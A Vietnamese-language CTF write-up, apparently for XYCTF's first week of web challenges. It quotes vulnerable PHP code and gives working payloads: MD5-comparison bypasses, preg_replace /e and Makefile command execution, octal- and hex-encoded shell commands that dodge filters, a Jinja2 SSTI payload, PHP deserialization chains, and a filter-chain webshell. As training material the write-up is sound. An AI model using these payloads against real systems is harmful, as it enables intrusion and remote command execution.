Do lịch thi giữa kỳ, mình chỉ kịp làm các bài web của tuần đầu tiên (máy tính bị thu rồi 😢). Bài "lão đại" lúc đầu bị lỗi container, sau đó mình dùng điện thoại giải được ezclass và ezRCE. Trong giờ tin học lén làm nốt ezSerialize và bài "lão đại". Mong mọi người thông cảm!
Dùng điện thoại giải hai bài thật sự rất khó chịu (kỹ năng còn non thì phải luyện thêm), chưa kể kết nối WSS trên di động càng khiến trải nghiệm tệ hơn. Đành bỏ dở các bài sau, mong các cao thủ nhẹ tay phê bình.
Nhìn chung đề web khá dễ, đúng như mong đợi — tuần đầu đã hoàn thành toàn bộ! Thậm chí còn có thời gian viết write-up sớm.
Bài "lão đại" ban đầu container hỏng thật sự khiến mình "rơi máy bay", may mà sau đó fix lại được.
Nhiều bài khai thác RCE Linux thông qua bypass mã hóa hệ cơ số — có lẽ tác giả oSthing đặc biệt yêu thích kỹ thuật này.
warm up
Mở challenge, code hiện ngay:
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);
if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("Không thể nào, MD5 cơ bản thế này mà không làm được?");
}
if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("Không thể nào, MD5 cơ bản thế này mà không làm được?");
}
if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("Không thể nào, MD5 cơ bản thế này mà không làm được?");
}
} else {
die("Học lâu thế rồi mà không biết truyền tham số à?");
}
Dễ thấy extract($_GET) → lỗ hổng ghi đè biến.
- Vòng 1: Truyền val1, val2 khác nhau nhưng MD5 so sánh yếu (==) bằng nhau → dùng mảng:
val1[]=x&val2[]=y - Vòng 2: Biến
$md5phải bằng chính MD5 của nó → dùng chuỗi0e215962017(MD5 cũng bắt đầu bằng 0e) - Vòng 3:
$XY == $XYCTF, nhưng$XY != "XYCTF_550102591", MD5 so sánh yếu bằng nhau → dùngQNKCDZO(MD5:0E830400451993494058024219903391)
Kết quả: nhận đường dẫn LLeeevvveeelll222.php.
Vào level 2:
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "Thao tác hay đấy O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);
} else {
die("Hơi toát mồ hôi rồi đấy");
}
Yêu cầu POST a không chứa số nhưng intval($a) trả về true → truyền mảng: a[]=anything.
Sau đó khai thác RCE qua preg_replace với cờ /e:
?a=/test/e&b=system('cat /flag')&c=test
ezmake
Makefile cho phép thực thi lệnh shell qua cú pháp $(shell cmd). Không có filter → $(shell cat flag).
ez?make
Bài này khó nhất trong đợt đầu. Filter nghiêm ngặt: cấm f,l,a,g,?,*,/...
Mình dùng backtick + mã hex để bypass:
echo -n 'ls' | xxd -p→6c73`echo 6c73 | xxd -p -r`→ thực thils
Vấn đề: /flag khi encode ra chứa ký tự f → không dùng được.
Giải pháp: Dùng && để cd .. hai lần về root, sau đó đọc flag trực tiếp:
`echo 6364|xxd -p -r`&&`echo 6364202e2e|xxd -p -r`&&`echo 6364202e2e|xxd -p -r`&&`echo 63617420666c6167|xxd -p -r`
ezmd5
Dùng công cụ fastcoll tạo hai file ảnh giống hệt nhau về nội dung nhưng khác checksum MD5 → upload để lấy flag.
Tôi là máy lặp lại
Đăng nhập với admin/asdqwe. Input box báo lỗi khi nhập tiếng Trung, kèm dấu {} → gợi ý SSTI Jinja2.
Lọc { nhưng không lọc % → dùng {%%} thay {{}}. Payload:
?a=__globals__&b=os&c=cat /flag&sentence=%print (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%一
ezhttp
Check robots.txt → tìm thấy /l0gin.txt → có username/password.
Cần set các header:
Referer: yuanshen.com
User-Agent: XYCTF
Client-IP: 127.0.0.1
Via: ymzx.qq.com
Cookie: XYCTF
ezpop
Chuỗi POP ngắn: AAA → BBB → CCC. Dùng strrev đảo ngược chuỗi để gọi system.
Trick: sửa serialized array từ i:1;N; thành i:0;N; để bypass exception.
Payload:
?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";s:5:"hacku";}}i:0;N;}&a=implode&b=strrev
ezclass
Dùng lớp built-in Error với method getMessage() để trả về chuỗi ban đầu:
?a=Error&aa=system&c=getMessage&b=Error&bb=cat%20/flag
ezRCE
Filter chỉ cho phép ký tự: 0-9, \, ', $, <. Dùng octal escape + redirect:
$'\143\141\164'<$'\57\146\154\141\147'
ezSerialize
Level 1: Dùng tham chiếu & để buộc token === password:
O:4:"Flag":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
Level 2: Chuỗi dài hơn: E → D → B → A → C. Serialize và gửi qua POST.
Level 3: Dùng SplFileObject để đọc file. Lưu ý thuộc tính private cần thêm null byte (%00).
Lão đại
Code:
<?php
highlight_file(__FILE__);
function Kobe($cmd) {
if (strlen($cmd) > 13) die("see you again~");
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) die("chết mày");
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) return "what can i say";
}
return $cmd;
}
$cmd = Kobe($_GET['cmd']);
eval("#man," . $cmd . ",mamba out");
Exploit:
- Dùng biến
$_GET[1]để vượt giới hạn độ dài. - Dùng
%0a(newline) để thoát khỏi comment#. - Dùng
%23(#) để comment phần,mamba out. - Mã hóa lệnh bằng octal trong
$'...'để bypass filter ký tự.
Payload:
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160\040\057\146\154\141\147\040\150\141\143\153\165\056\164\170\164\012'
ezLFI (sau cuộc thi)
Lỗ hổng include file → khai thác bằng PHP filter chain để inject base64 payload <?=`$_GET[0]`;;?>, sau đó thực thi lệnh /readflag.